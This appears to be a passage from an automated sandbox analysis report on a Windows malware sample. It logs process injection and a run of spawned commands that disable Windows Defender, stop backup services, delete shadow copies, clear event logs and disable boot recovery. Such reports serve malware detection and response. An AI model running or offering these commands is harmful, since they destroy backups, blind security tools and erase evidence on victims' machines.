Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2776 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 428 wrote to memory of 3716 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 428 wrote to memory of 3716 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 3320 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 3320 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 3320 wrote to memory of 504 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3320 wrote to memory of 504 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 736 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 736 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 736 wrote to memory of 1200 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 736 wrote to memory of 1200 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 3688 wrote to memory of 1932 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3688 wrote to memory of 1932 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2916 wrote to memory of 496 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2916 wrote to memory of 496 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2988 wrote to memory of 1608 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2988 wrote to memory of 1608 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 3668 wrote to memory of 1840 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3668 wrote to memory of 1840 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 3992 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 3992 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 3992 wrote to memory of 1748 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3992 wrote to memory of 1748 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2776 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\net.exe
PID 2844 wrote to memory of 2700 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2844 wrote to memory of 2700 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2776 wrote to memory of 1132 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 1132 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 2724 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 2724 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 680 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 680 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3448 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3448 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 1212 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 1212 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\sc.exe
PID 2776 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 3392 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 3392 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe
PID 2776 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe

"C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_12c89" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_12c89" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_12c89" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
NL 20.101.57.9:123 time.windows.com udp

Files

memory/428-115-0x0000000000000000-mapping.dmp

memory/3716-116-0x0000000000000000-mapping.dmp

memory/3320-117-0x0000000000000000-mapping.dmp

memory/504-118-0x0000000000000000-mapping.dmp

memory/736-119-0x0000000000000000-mapping.dmp

memory/1200-120-0x0000000000000000-mapping.dmp

memory/3688-121-0x0000000000000000-mapping.dmp

memory/1932-122-0x0000000000000000-mapping.dmp

memory/2916-123-0x0000000000000000-mapping.dmp

memory/496-124-0x0000000000000000-mapping.dmp

memory/2988-125-0x0000000000000000-mapping.dmp

memory/1608-126-0x0000000000000000-mapping.dmp

memory/3668-127-0x0000000000000000-mapping.dmp

memory/1840-128-0x0000000000000000-mapping.dmp

memory/3992-129-0x0000000000000000-mapping.dmp

memory/1748-130-0x0000000000000000-mapping.dmp

memory/2844-131-0x0000000000000000-mapping.dmp

memory/2700-132-0x0000000000000000-mapping.dmp

memory/1132-133-0x0000000000000000-mapping.dmp

memory/2724-134-0x0000000000000000-mapping.dmp

memory/680-135-0x0000000000000000-mapping.dmp

memory/3048-136-0x0000000000000000-mapping.dmp

memory/3448-137-0x0000000000000000-mapping.dmp

memory/3200-138-0x0000000000000000-mapping.dmp

memory/1212-139-0x0000000000000000-mapping.dmp

memory/1216-140-0x0000000000000000-mapping.dmp

memory/2336-141-0x0000000000000000-mapping.dmp

memory/2388-142-0x0000000000000000-mapping.dmp

memory/3392-143-0x0000000000000000-mapping.dmp

memory/1964-144-0x0000000000000000-mapping.dmp

memory/2136-145-0x0000000000000000-mapping.dmp

memory/2808-146-0x0000000000000000-mapping.dmp

memory/3064-147-0x0000000000000000-mapping.dmp

memory/3936-148-0x0000000000000000-mapping.dmp

memory/952-149-0x0000000000000000-mapping.dmp

memory/2952-150-0x0000000000000000-mapping.dmp

memory/2348-151-0x0000000000000000-mapping.dmp

memory/1444-152-0x0000000000000000-mapping.dmp

memory/1888-153-0x0000000000000000-mapping.dmp

memory/1884-154-0x0000000000000000-mapping.dmp

memory/712-155-0x0000000000000000-mapping.dmp

memory/2824-156-0x0000000000000000-mapping.dmp

memory/1376-157-0x0000000000000000-mapping.dmp

memory/2304-158-0x0000000000000000-mapping.dmp

memory/496-159-0x0000000000000000-mapping.dmp

memory/304-160-0x0000000000000000-mapping.dmp

memory/3588-161-0x0000000000000000-mapping.dmp

memory/2140-162-0x0000000000000000-mapping.dmp

memory/1276-163-0x0000000000000000-mapping.dmp

memory/1652-164-0x0000000000000000-mapping.dmp

memory/1788-165-0x0000000000000000-mapping.dmp

memory/2448-166-0x0000000000000000-mapping.dmp

memory/1516-167-0x0000000000000000-mapping.dmp

memory/3620-168-0x0000000000000000-mapping.dmp

memory/4080-169-0x0000000000000000-mapping.dmp

memory/1204-170-0x0000000000000000-mapping.dmp

memory/1328-171-0x0000000000000000-mapping.dmp

memory/2984-172-0x0000000000000000-mapping.dmp

memory/2040-173-0x0000000000000000-mapping.dmp

memory/2060-174-0x0000000000000000-mapping.dmp

memory/2408-175-0x0000000000000000-mapping.dmp

memory/1812-176-0x0000000000000000-mapping.dmp

memory/408-177-0x0000000000000000-mapping.dmp

memory/3232-178-0x0000000000000000-mapping.dmp

memory/1840-179-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-180-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-181-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-182-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-183-0x000001F4C9570000-0x000001F4C9592000-memory.dmp

memory/1840-184-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-185-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-186-0x000001F4C98A0000-0x000001F4C9916000-memory.dmp

memory/1840-187-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-191-0x000001F4C9610000-0x000001F4C9612000-memory.dmp

memory/1840-192-0x000001F4C9613000-0x000001F4C9615000-memory.dmp

memory/1840-193-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-194-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1840-199-0x000001F4C9616000-0x000001F4C9618000-memory.dmp

memory/1840-215-0x000001F4AF750000-0x000001F4AF752000-memory.dmp

memory/1624-217-0x0000023753DF0000-0x0000023753DF2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

